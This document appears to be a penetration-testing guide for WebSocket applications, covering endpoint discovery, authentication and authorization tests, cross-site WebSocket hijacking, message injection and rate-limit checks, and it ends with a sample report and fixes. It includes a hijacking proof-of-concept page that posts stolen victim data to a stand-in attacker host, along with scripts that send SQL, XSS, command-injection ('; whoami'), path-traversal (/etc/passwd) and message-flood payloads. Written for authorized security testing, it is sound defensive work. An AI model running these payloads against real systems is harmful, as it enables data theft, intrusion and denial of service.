During authorized penetration tests when the application uses WebSocket connections for real-time features
When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
For testing WebSocket API endpoints for authentication and authorization flaws
When evaluating real-time data streams for injection vulnerabilities
During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs
How to CONFIRM a Hit (avoid false negatives)
Positive signal: you can actually intercept/tamper with messages, a cross-site WebSocket connection (CSWSH) returns the victim's data, or an injected payload reaches a real sink and fires — not just that a connection opened.
A 101 Switching Protocols response is only the first step; confirm the connection does something privileged with the victim's identity.
Do NOT conclude "not vulnerable" until you have:
For CSWSH: opened the WS from an attacker origin with no token of your own, relying on the victim's cookies, and confirmed the server (a) did not validate Origin and (b) returned victim-scoped data. No origin check + cookie-based auth = confirm by exfiltrating real data via the cross-origin PoC.
Tested message-level authorization, not just connect-time auth — connect as a low-priv user and send admin/other-user messages (IDOR on channel/user IDs).
Checked whether the socket stays valid after logout / token expiry.
Injected into message fields (SQLi, XSS, command, path traversal, template) and confirmed the response or a second observer reflects execution, not a generic error.
Verified ws:// vs wss:// and whether permessage-deflate + secrets enables a compression side-channel.
Prerequisites
Authorization: Written penetration testing agreement covering WebSocket testing
Burp Suite Professional: With WebSocket interception capability
Browser DevTools: Network tab for WebSocket frame inspection
Step 1: Discover and Enumerate WebSocket Endpoints
Identify WebSocket connections in the application.
# Check for WebSocket upgrade in response headers
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com/ws"# Common WebSocket endpoint pathsfor path in /ws /websocket /socket /socket.io /signalr /hub \
/chat /notifications /live /stream /realtime /api/ws; doecho -n "$path: "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com$path")
echo"$status"done# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"# In browser DevTools:# Network tab > Filter: WS# Look for ws:// or wss:// connections# Examine the upgrade request and WebSocket frames
Step 2: Test WebSocket Authentication
Verify that WebSocket connections require proper authentication.
# Test connection without authentication
wscat -c "wss://target.example.com/ws"# If connection succeeds without tokens, auth is missing# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=invalid_or_expired_token"# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_from_another_user"# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"# Test if authentication is only checked at connection time# Connect with valid token, then check if messages still work# after the token expires or the user logs out# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets
async def test_no_auth():
try:
async with websockets.connect("wss://target.example.com/ws") as ws:
print("Connected WITHOUT authentication!")
# Try sending a message
await ws.send('{"type":"get_data","resource":"users"}')
response = await ws.recv()
print(f"Response: {response}")
except Exception as e:
print(f"Connection failed: {e}")
asyncio.run(test_no_auth())
PYEOF
Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)
Check if the WebSocket handshake is vulnerable to cross-site attacks.
# Check Origin header validation on WebSocket upgrade
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://evil.example.com" \
"https://target.example.com/ws"# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)# If 403: Origin validation is working
<!-- Cross-Site WebSocket Hijacking PoC --><!-- Host on attacker-controlled server --><html><head><title>CSWSH PoC</title></head><body><h1>Cross-Site WebSocket Hijacking</h1><divid="messages"></div><script>// This connects to the target's WebSocket using the victim's cookiesvar ws = newWebSocket("wss://target.example.com/ws");
ws.onopen = function() {
console.log("WebSocket connected (using victim's session)");
// Request sensitive data through the WebSocket
ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
ws.send(JSON.stringify({type: "get_profile"}));
};
ws.onmessage = function(event) {
console.log("Data stolen: " + event.data);
document.getElementById("messages").innerText += event.data + "\n";
// Exfiltrate to attacker serverfetch("https://attacker.example.com/collect", {
method: "POST",
body: event.data
});
};
ws.onerror = function(error) {
console.log("WebSocket error: " + error);
};
</script></body></html>
Step 4: Test WebSocket Message Injection
Assess WebSocket messages for injection vulnerabilities.
# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_token"# Once connected, send test messages:# SQL injection in WebSocket message# > {"action":"search","query":"' OR 1=1--"}# XSS payload in chat message# > {"type":"message","content":"<script>alert(document.cookie)</script>"}# > {"type":"message","content":"<img src=x onerror=alert(1)>"}# Command injection# > {"action":"ping","host":"127.0.0.1; whoami"}# Path traversal# > {"action":"read_file","path":"../../../etc/passwd"}# IDOR in WebSocket messages# > {"action":"get_messages","channel_id":1}# > {"action":"get_messages","channel_id":2} (another user's channel)# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json
PAYLOADS = [
{"action": "search", "query": "' OR 1=1--"},
{"action": "search", "query": "<script>alert(1)</script>"},
{"action": "search", "query": "{{7*7}}"},
{"action": "search", "query": "${7*7}"},
{"action": "read", "file": "../../../etc/passwd"},
{"action": "exec", "cmd": "; whoami"},
]
async def test_injections():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
for payload in PAYLOADS:
await ws.send(json.dumps(payload))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Payload: {json.dumps(payload)}")
print(f"Response: {response}\n")
except asyncio.TimeoutError:
print(f"Timeout for: {json.dumps(payload)}\n")
asyncio.run(test_injections())
PYEOF
Step 5: Test WebSocket Authorization and Rate Limiting
Check if message-level authorization and abuse controls are enforced.
# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json
async def test_authz():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=user_a_session"}
) as ws:
# Try accessing User B's private data
messages = [
{"type": "subscribe", "channel": "user_b_private"},
{"type": "get_history", "user_id": "user_b_id"},
{"type": "admin_action", "action": "list_users"},
{"type": "send_message", "to": "admin", "as": "admin"},
]
for msg in messages:
await ws.send(json.dumps(msg))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Sent: {json.dumps(msg)}")
print(f"Received: {response}\n")
except asyncio.TimeoutError:
print(f"No response for: {json.dumps(msg)}\n")
asyncio.run(test_authz())
PYEOF
# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time
async def test_rate_limit():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
start = time.time()
for i in range(1000):
await ws.send(json.dumps({
"type": "message",
"content": f"Flood message {i}"
}))
elapsed = time.time() - start
print(f"Sent 1000 messages in {elapsed:.2f} seconds")
print("If no rate limiting, DoS is possible")
asyncio.run(test_rate_limit())
PYEOF
Step 6: Test WebSocket Encryption and Protocol Security
Verify transport security and protocol-level protections.
# Check if WebSocket uses WSS (encrypted) or WS (plaintext)# WS (ws://) traffic can be intercepted by network attackers# Check for mixed protocols# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"# Should only find wss:// (encrypted WebSocket)# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
-H "Sec-WebSocket-Protocol: admin-protocol"# Test for compression side-channel (CRIME-like attacks)# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Extensions: permessage-deflate" \
"https://target.example.com/ws" | grep -i "sec-websocket-extensions"# permessage-deflate with secrets in messages can leak data via compression# Test WebSocket connection persistence# Check if server implements proper timeouts and connection limits
Key Concepts
Concept
Description
WebSocket Handshake
HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol
Server-side check that the WebSocket upgrade request comes from a trusted origin
Message-level Authorization
Verifying permissions for each WebSocket message, not just at connection time
WSS
WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS)
Socket.IO
Popular WebSocket library with automatic fallback to HTTP long-polling
Ping/Pong Frames
WebSocket keepalive mechanism; can be abused for timing attacks
Tools & Systems
Tool
Purpose
Burp Suite Professional
WebSocket interception, modification, and history analysis
wscat
Command-line WebSocket client for manual testing
websocat
Versatile command-line WebSocket client written in Rust
Browser DevTools
Network tab WS filter for inspecting WebSocket frames
Socket.IO Client
Testing Socket.IO-based WebSocket implementations
Python websockets
Scripting automated WebSocket attack sequences
Common Scenarios
Scenario 1: Chat Application CSWSH
A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.
Scenario 2: Trading Platform Message Injection
A trading platform processes WebSocket messages containing order parameters. SQL injection in the symbol field of an order message allows extracting the entire order database through error-based SQLi.
Scenario 3: Missing Message Authorization
A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.
Scenario 4: Notification Channel IDOR
A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.
Output Format
## WebSocket Security Assessment Report
**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control
### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |
### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |
### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)
### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake
